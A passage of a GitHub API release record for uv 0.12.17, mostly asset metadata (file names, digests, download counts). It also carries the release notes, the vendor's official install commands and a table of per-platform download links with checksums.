.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":22397841,"digest":"sha256:65b807b24357133c49d97ca9394ee7e13ca62822e1095376c809654b35f39cf2","download_count":289,"created_at":"2026-09-18T18:59:20Z","updated_at":"2026-09-18T18:59:21Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-gnu.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253030","id":573253030,"node_id":"RA_kwDOKbIFZc4iKyWm","name":"uv-riscv64gc-unknown-linux-gnu.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":104,"digest":"sha256:21fb02e3580d1df1a7ef444b2b2050e7f75a74483b22ebe527339550a0886b89","download_count":334,"created_at":"2026-09-18T18:59:20Z","updated_at":"2026-09-18T18:59:20Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-gnu.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253034","id":573253034,"node_id":"RA_kwDOKbIFZc4iKyWq","name":"uv-riscv64gc-unknown-linux-musl.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":22281273,"digest":"sha256:87c339a735b578f285b961bebdefe0a671f3652477d1e84dc69cd1a829f45e92","download_count":192,"created_at":"2026-09-18T18:59:20Z","updated_at":"2026-09-18T18:59:22Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-musl.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253039","id":573253039,"node_id":"RA_kwDOKbIFZc4iKyWv","name":"uv-riscv64gc-unknown-linux-musl.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":105,"digest":"sha256:4f1ddd5cd592bb08d7d671d619b995cd5524cc320389c13e00b9e5f2b4a867b9","download_count":327,"created_at":"2026-09-18T18:59:21Z","updated_at":"2026-09-18T18:59:21Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-musl.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253045","id":573253045,"node_id":"RA_kwDOKbIFZc4iKyW1","name":"uv-s390x-unknown-linux-gnu.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":23204632,"digest":"sha256:d99f69f47fc5e0975d6e7a5745cf2332317015caffb3bb81e5154cc7b66fa77a","download_count":280,"created_at":"2026-09-18T18:59:21Z","updated_at":"2026-09-18T18:59:22Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-s390x-unknown-linux-gnu.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253057","id":573253057,"node_id":"RA_kwDOKbIFZc4iKyXB","name":"uv-s390x-unknown-linux-gnu.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":100,"digest":"sha256:f3a617669311b9d5e9a0fd364a1b4fcd7c78e21bbff8721d7519ed1faf79a91a","download_count":331,"created_at":"2026-09-18T18:59:21Z","updated_at":"2026-09-18T18:59:21Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-s390x-unknown-linux-gnu.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253060","id":573253060,"node_id":"RA_kwDOKbIFZc4iKyXE","name":"uv-x86_64-apple-darwin.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":20592896,"digest":"sha256:8dcf05a8c809bb3c471d2b614788ba27a6e41298fc8c31ac84b5f4339fd468e5","download_count":11109,"created_at":"2026-09-18T18:59:21Z","updated_at":"2026-09-18T18:59:22Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-apple-darwin.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253063","id":573253063,"node_id":"RA_kwDOKbIFZc4iKyXH","name":"uv-x86_64-apple-darwin.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":96,"digest":"sha256:cd15f774d77b945579add9769f82dc67799b596887e461d81afd05e8461c8dbc","download_count":875,"created_at":"2026-09-18T18:59:21Z","updated_at":"2026-09-18T18:59:21Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-apple-darwin.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253071","id":573253071,"node_id":"RA_kwDOKbIFZc4iKyXP","name":"uv-x86_64-pc-windows-msvc.zip","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/zip","state":"uploaded","size":17906210,"digest":"sha256:a252121d5b59398fcb137c6ea448176459a44010f33f67e0072305a637119ca7","download_count":224674,"created_at":"2026-09-18T18:59:21Z","updated_at":"2026-09-18T18:59:22Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-pc-windows-msvc.zip"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253076","id":573253076,"node_id":"RA_kwDOKbIFZc4iKyXU","name":"uv-x86_64-pc-windows-msvc.zip.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":96,"digest":"sha256:11fe093acfe91865a0558cf02bb92195765dc1cd3ad7d369553ce56d0d40ae78","download_count":2300,"created_at":"2026-09-18T18:59:22Z","updated_at":"2026-09-18T18:59:22Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-pc-windows-msvc.zip.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253080","id":573253080,"node_id":"RA_kwDOKbIFZc4iKyXY","name":"uv-x86_64-unknown-linux-gnu.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":19755224,"digest":"sha256:fa82fd8dde8e8eefdecada6aa0889666556cfceb690d06e0c3bca49eb3070a63","download_count":7272357,"created_at":"2026-09-18T18:59:22Z","updated_at":"2026-09-18T18:59:23Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-gnu.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253083","id":573253083,"node_id":"RA_kwDOKbIFZc4iKyXb","name":"uv-x86_64-unknown-linux-gnu.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":101,"digest":"sha256:6c89204e7d1f4efa16a7072915c1776daf6d54d979b910395d7a3780fcb0e3ef","download_count":8263,"created_at":"2026-09-18T18:59:22Z","updated_at":"2026-09-18T18:59:22Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-gnu.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253085","id":573253085,"node_id":"RA_kwDOKbIFZc4iKyXd","name":"uv-x86_64-unknown-linux-musl.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":22632353,"digest":"sha256:6401c4665d8fa2a9893e087c91f585430738e3170f5398a1141483efb4a93310","download_count":36143,"created_at":"2026-09-18T18:59:22Z","updated_at":"2026-09-18T18:59:23Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-musl.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573253091","id":573253091,"node_id":"RA_kwDOKbIFZc4iKyXj","name":"uv-x86_64-unknown-linux-musl.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":102,"digest":"sha256:65ba28c6836317464fd5e8da1aa94b76c8eb382327fa6b56799eec3e9a43b163","download_count":2157,"created_at":"2026-09-18T18:59:22Z","updated_at":"2026-09-18T18:59:22Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-musl.tar.gz.sha256"}],"tarball_url":"https://api.github.com/repos/astral-sh/uv/tarball/0.12.17","zipball_url":"https://api.github.com/repos/astral-sh/uv/zipball/0.12.17","body":"## Release Notes\n\nReleased on 2026-09-18.\n\n### Enhancements\n\n- Reject unsupported Git archive paths in lockfiles with a clear error instead of panicking during frozen exports ([#21780](https://github.com/astral-sh/uv/pull/21780))\n\n### Preview features\n\n- Set minimum glibc and musl versions that universal resolutions must support with `minimum-libc-version` ([#21651](https://github.com/astral-sh/uv/pull/21651))\n- Reject `pylock.toml` files whose wheel filenames do not match their declared package names or versions ([#20746](https://github.com/astral-sh/uv/pull/20746))\n- Keep `uv workspace metadata` read-only unless `--sync` is provided ([#21821](https://github.com/astral-sh/uv/pull/21821))\n- Apply `uv check` lock modes when retrieving workspace metadata ([#21821](https://github.com/astral-sh/uv/pull/21821))\n\n### Performance\n\n- Speed up builds with many exclusion patterns by avoiding quadratic deduplication ([#21650](https://github.com/astral-sh/uv/pull/21650))\n- Reduce resolver allocations when deduplicating package and distribution requests ([#21810](https://github.com/astral-sh/uv/pull/21810))\n\n### Bug fixes\n\n- Prevent `required-environments` from selecting package versions whose wheels require a newer macOS version than the configured Darwin baseline ([#21825](https://github.com/astral-sh/uv/pull/21825))\n\n### Documentation\n\n- Clarify the 0.12.14 and 0.12.15 release notes ([#21817](https://github.com/astral-sh/uv/pull/21817))\n\n## Install uv 0.12.17\n\n### Install prebuilt binaries via shell script\n\n```sh\ncurl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-installer.sh | sh\n```\n\n### Install prebuilt binaries via powershell script\n\n```sh\npowershell -ExecutionPolicy Bypass -c \"irm https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-installer.ps1 | iex\"\n```\n\n## Download uv 0.12.17\n\n| File | Platform | Checksum |\n|--------|----------|----------|\n| [uv-aarch64-apple-darwin.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-apple-darwin.tar.gz) | Apple Silicon macOS | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-apple-darwin.tar.gz.sha256) |\n| [uv-x86_64-apple-darwin.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-apple-darwin.tar.gz) | Intel macOS | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-apple-darwin.tar.gz.sha256) |\n| [uv-aarch64-pc-windows-msvc.zip](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-pc-windows-msvc.zip) | ARM64 Windows | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-pc-windows-msvc.zip.sha256) |\n| [uv-i686-pc-windows-msvc.zip](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-i686-pc-windows-msvc.zip) | x86 Windows | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-i686-pc-windows-msvc.zip.sha256) |\n| [uv-x86_64-pc-windows-msvc.zip](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-pc-windows-msvc.zip) | x64 Windows | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-pc-windows-msvc.zip.sha256) |\n| [uv-aarch64-unknown-linux-gnu.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-gnu.tar.gz) | ARM64 Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-gnu.tar.gz.sha256) |\n| [uv-i686-unknown-linux-gnu.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-i686-unknown-linux-gnu.tar.gz) | x86 Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-i686-unknown-linux-gnu.tar.gz.sha256) |\n| [uv-powerpc64le-unknown-linux-gnu.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-powerpc64le-unknown-linux-gnu.tar.gz) | PPC64LE Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-powerpc64le-unknown-linux-gnu.tar.gz.sha256) |\n| [uv-riscv64gc-unknown-linux-gnu.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-gnu.tar.gz) | RISCV Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-gnu.tar.gz.sha256) |\n| [uv-s390x-unknown-linux-gnu.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-s390x-unknown-linux-gnu.tar.gz) | S390x Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-s390x-unknown-linux-gnu.tar.gz.sha256) |\n| [uv-x86_64-unknown-linux-gnu.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-gnu.tar.gz) | x64 Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-gnu.tar.gz.sha256) |\n| [uv-armv7-unknown-linux-gnueabihf.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-armv7-unknown-linux-gnueabihf.tar.gz) | ARMv7 Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-armv7-unknown-linux-gnueabihf.tar.gz.sha256) |\n| [uv-aarch64-unknown-linux-musl.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-musl.tar.gz) | ARM64 MUSL Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-musl.tar.gz.sha256) |\n| [uv-i686-unknown-linux-musl.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-i686-unknown-linux-musl.tar.gz) | x86 MUSL Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-i686-unknown-linux-musl.tar.gz.sha256) |\n| [uv-riscv64gc-unknown-linux-musl.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-musl.tar.gz) | RISCV MUSL Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-riscv64gc-unknown-linux-musl.tar.gz.sha256) |\n| [uv-x86_64-unknown-linux-musl.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-musl.tar.gz) | x64 MUSL Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-x86_64-unknown-linux-musl.tar.gz.sha256) |\n| [uv-arm-unknown-linux-musleabihf.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-arm-unknown-linux-musleabihf.tar.gz) | ARMv6 MUSL Linux (Hardfloat) | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-arm-unknown-linux-musleabihf.tar.gz.sha256) |\n| [uv-armv7-unknown-linux-musleabihf.tar.gz](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-armv7-unknown-linux-musleabihf.tar.gz) | ARMv7 MUSL Linux | [checksum](https://releases.astral.sh/github/uv/releases/download/0.12.17/uv-armv7-unknown-linux-musleabihf.tar.gz.sha256) |\n\n## Verifying GitHub Artifact Attestations\n\nThe artifacts in this release have attestations generated with GitHub Artifact Attestations. These can be verified by using the [GitHub 